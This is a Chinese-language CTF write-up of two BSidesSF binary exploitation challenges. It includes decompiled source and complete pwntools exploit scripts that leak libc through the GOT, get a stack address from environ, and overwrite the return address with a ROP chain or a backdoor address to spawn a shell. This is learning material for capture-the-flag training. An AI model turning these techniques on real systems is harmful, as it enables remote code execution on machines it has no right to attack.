嗯嗯,虽然都已经学了很久的堆,堆题都做不少了,但这次比赛属实是有点没时间打,所以只做了三道简单的栈题,其中第一道有些过于简单了,所以就不再写,这里写一下后两道。其实也不是为了写答案,主要是为了分享一下我出错的地方。
readwriteme 首先是readwriteme
可以看到,这里是几乎没有开保护的
丢进ida里看一下
分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 int __fastcall main (int argc, const char **argv, const char **envp ) { unsigned int v3; int v4; char v6[32 ]; char nptr[32 ]; char s[32 ]; _BYTE dest[268 ]; int v10; void *buf; unsigned int j; unsigned int i; setvbuf(stdout, 0 , 2 , 0 ); setvbuf(stderr, 0 , 2 , 0 ); puts("Instructions:" ); puts("* Send 'r' (read), 'h' (read in hex), or 'w' (write), followed by a newline" ); puts("* Send a 64-bit offset (in hex), followed by a newline" ); puts("* Send a 32-bit length value (in hex), followed by a newline" ); putchar(10 ); puts("If reading, exactly (length) bytes will be printed (no newline or anything)" ); puts("If reading hex, exactly (length) bytes will be printed as hex (ending up at length*2 size)" ); puts("If writing, send exactly (length) binary bytes and they will be written to the offset" ); putchar(10 ); puts("Note: this does respect memory protections (ie, you can't write to code sections)" ); putchar(10 ); puts("GO" ); fflush(stdout); while ( fgets(s, 32 , stdin) && (s[0 ] == 114 || s[0 ] == 119 || s[0 ] == 104 ) && fgets(nptr, 32 , stdin) && fgets(v6, 32 , stdin) ) { buf = (void *)strtoll(nptr, 0 , 16 ); v3 = strtol(v6, 0 , 16 ); switch ( s[0 ] ) { case 'r' : v4 = fileno(stdout); write(v4, buf, v3); break ; case 'h' : memcpy(dest, buf, v3); for ( i = 0 ; i < v3; ++i ) fprintf(stdout, "%02x" , (unsigned __int8)dest[i]); fflush(stdout); break ; case 'w' : for ( j = 0 ; j < v3; j += v10 ) { v10 = fread((char *)buf + (int )j, 1u , v3 - j, stdin); if ( !v10 ) exit(0 ); } break ; default : goto LABEL_22; } } LABEL_22: puts("Good bye!" ); return 0 ; }
逻辑清晰简单,甚至任意地址写和任意地址读都甩你脸上来了… 那我们完全可以“为所欲为”
我最开始想的是,先读取got表泄露libc地址,算出system地址,再用“/bin/sh”覆盖“Good bye!”用system地址覆盖puts的got表,最后随便输入一个错误指令触发最后的这个puts就可以了。
结果最后这个字符串的地址没有可写权限…
然后我又发现h功能会把要读的数据先存到dest数组里再读取,所以我就想找个可写的地址,把“/bin/sh”写进去,再用system地址覆盖memcpy的got表,这样再进h功能就可以了。于是我把“/bin/sh”写到了.bss段,结果在本地打通了远程死活不同…(貌似是卡在写入的步骤里了,远程环境好像这几个地址都不可写)
无可奈何之下,我选择实用最纯粹的力量!environ!
先简单介绍一下,environ是libc库里存的,指向栈的指针(我就不信栈还不能写了),所以我们这里在泄露libc之后,算出environ的地址,再read出environ的值(需要注意的是,使用前,请先用gdb调试一下,确定environ与你所需要的指针的偏移,再进行利用)。随后我们就可以直接构建ROP链覆盖返回地址了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *io = remote('readwriteme-10fb812e.challenges.bsidessf.net' ,4445 ) context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] libc=ELF('./libc.so.6' ) elf=ELF('./readwriteme' ) puts_addr=0x404008 io.sendlineafter(b'GO\n' ,b'r' ) io.sendline(b'0x404008' ) io.sendline(b'8' ) leaked = u64(io.recv(8 )) print (hex (leaked))libc_base = leaked - libc.symbols['puts' ] print ('libc base:' , hex (libc_base))system_addr = libc_base + libc.symbols['system' ] environ_addr = libc_base + libc.sym['environ' ] ret_addr=0x26e99 +libc_base pop_rdi_addr=0x277e5 +libc_base binsh=0x197031 +libc_base io.sendline(b'r' ) io.sendline(hex (environ_addr).encode()) io.sendline(b'8' ) stack_addr=u64(io.recv(8 )) print ('stack_addr:' ,hex (stack_addr))s_addr=stack_addr-0x278 ret=stack_addr-0x120 io.sendline(b'w' ) io.sendline(hex (ret).encode()) io.sendline(b'0x20' ) io.send(p64(pop_rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system_addr)) io.sendline(b'x' ) io.sendline(b'0' ) io.sendline(b'0' ) io.interactive()
readme 分析 这题和上一题没什么太大区别,少了个写的功能,多了个后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 int __fastcall main (int argc, const char **argv, const char **envp ) { unsigned int v3; int v4; char v6[32 ]; char nptr[32 ]; char s[32 ]; _BYTE dest[256 ]; void *buf; unsigned int i; setvbuf(stdout, 0 , 2 , 0 ); setvbuf(stderr, 0 , 2 , 0 ); puts("Instructions:" ); puts("* Send 'r' (read), 'h' (read in hex), or 'w' (write), followed by a newline" ); puts("* Send a 64-bit offset (in hex), followed by a newline" ); puts("* Send a 32-bit length value (in hex), followed by a newline" ); putchar(10 ); puts("If reading, exactly (length) bytes will be printed (no newline or anything)" ); puts("If reading hex, exactly (length) bytes will be printed as hex (ending up at length*2 size)" ); puts("If writing, send exactly (length) binary bytes and they will be written to the offset" ); putchar(10 ); puts("Note: this does respect memory protections (ie, you can't write to code sections)" ); putchar(10 ); puts("GO" ); fflush(stdout); while ( fgets(s, 32 , stdin) && (s[0 ] == 114 || s[0 ] == 119 || s[0 ] == 104 ) && fgets(nptr, 32 , stdin) && fgets(v6, 32 , stdin) ) { buf = (void *)strtoll(nptr, 0 , 16 ); v3 = strtol(v6, 0 , 16 ); if ( s[0 ] == 114 ) { v4 = fileno(stdout); write(v4, buf, v3); } else { if ( s[0 ] != 104 ) break ; memcpy(dest, buf, v3); for ( i = 0 ; i < v3; ++i ) fprintf(stdout, "%02x" , (unsigned __int8)dest[i]); fflush(stdout); } } puts("Good bye!" ); return 0 ; }
这里我发现最开始输入指令的时候,他是用了一个32字节的数组的,而且程序只检查第一个字节,所以我们完全可以再多输些别的东西,比如后门函数的地址0x40148c。
然后,让我们看到这个h功能中的memcpy函数,它覆盖的长度是完全由我们控制的,所以我们完全可以利用它来让0x40148c覆盖返回地址,而根据上一道题,我们已经可以利用environ拥有栈指针了,所以我们可以让memcpy从储存后门函数地址的栈地址-0x128的地方开始读取,这样就可以覆盖掉返回地址了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] host='readme-02de52b5.challenges.bsidessf.net' port=4446 io=remote(host, port) libc=ELF('./libc.so.6' ) io.sendlineafter(b'GO\n' ,b'r' ) io.sendline(b'0x404008' ) io.sendline(b'8' ) libc_base=u64(io.recv(8 ))-libc.symbols['puts' ] print ('libc_base:' ,hex (libc_base))environ_addr = libc_base + libc.sym['environ' ] io.sendline(b'r' ) io.sendline(hex (environ_addr).encode()) io.sendline(b'8' ) stack_addr=u64(io.recv(8 )) print ('stack_addr:' ,hex (stack_addr))s_addr=stack_addr-0x268 io.send(b'h\x00' +b'a' *6 +p64(0x40148c )+b'\n' ) io.sendline(hex (s_addr-0x120 ).encode()) io.sendline(b'0x130' ) io.sendline(b'x' ) io.sendline(b'0' ) io.sendline(b'0' ) io.interactive()